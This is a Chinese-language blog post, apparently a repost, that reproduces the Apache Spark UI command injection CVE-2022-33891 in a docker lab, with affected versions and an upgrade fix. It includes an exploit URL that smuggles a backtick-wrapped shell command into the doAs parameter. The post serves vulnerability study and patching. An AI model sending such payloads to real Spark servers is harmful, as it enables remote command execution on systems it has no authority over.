Apache Spark 命令注入漏洞(CVE-2022-33891)复现

admin 2022年7月29日12:16:00评论601 views字数 913阅读3分2秒阅读模式

漏洞概述

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许攻击者通过提供任意用户名来执行模拟。因此,攻击者能够访问权限检查功能,该功能最终将根据攻击者的输入构建一个 Unix shell 命令并执行。成功利用此漏洞可导致任意 shell 命令执行。

漏洞影响范围
Apache Spark 命令注入漏洞(CVE-2022-33891)复现
影像版本

安全版本

Apache Spark<= 3.0.3

Apache Spark>= 3.3.0

3.1.1≤ Apache Spark ≤ 3.1.2

Apache Spark>= 3.1.3

3.2.0≤ Apache Spark 3.2.1

Apache Spark>= 3.2.2

漏洞环境搭建

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

可通过docker进行环境搭建

在linux上执行

docker pull bitnami/spark:3.2.0-debian-10-r40

拉取漏洞环境

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

漏洞环境拉取后,执行

docker run -itd -p 8080:8080 -p 8888:8888 --rm bitnami/spark:3.2.0-debian-10-r40

后台运行漏洞环境

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

访问http://ip:8080端口,出现以下界面

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

再次执行

docker exec -it  容器ID /bin/bash

进入spark 容器

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

在容器中执行

spark-shell --conf spark.acls.enable=true --conf spark.ui.port=8888

启动配置

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

访问http://ip:8888,出现以下页面代表环境已部署成功

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

漏洞复现
Apache Spark 命令注入漏洞(CVE-2022-33891)复现

访问

http://ip:8888/jobs/?doAs=`expcmd`

例如

http://ip:8888/jobs/?doAs=`touch /tmp/test.txt`

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

docker容器中出现/tmp/test.txt代表漏洞利用成功

Apache Spark 命令注入漏洞(CVE-2022-33891)复现

漏洞修复
Apache Spark 命令注入漏洞(CVE-2022-33891)复现
升级到 3.3.0,3.1.3,3.2.2或更高版本下载地址:https://spark.apache.org/downloads.html

Apache Spark 命令注入漏洞(CVE-2022-33891)复现


Apache Spark 命令注入漏洞(CVE-2022-33891)复现

原文始发于微信公众号(第59号):Apache Spark 命令注入漏洞(CVE-2022-33891)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月29日12:16:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Spark 命令注入漏洞(CVE-2022-33891)复现https://cn-sec.com/archives/1208414.html

发表评论

匿名网友 填写信息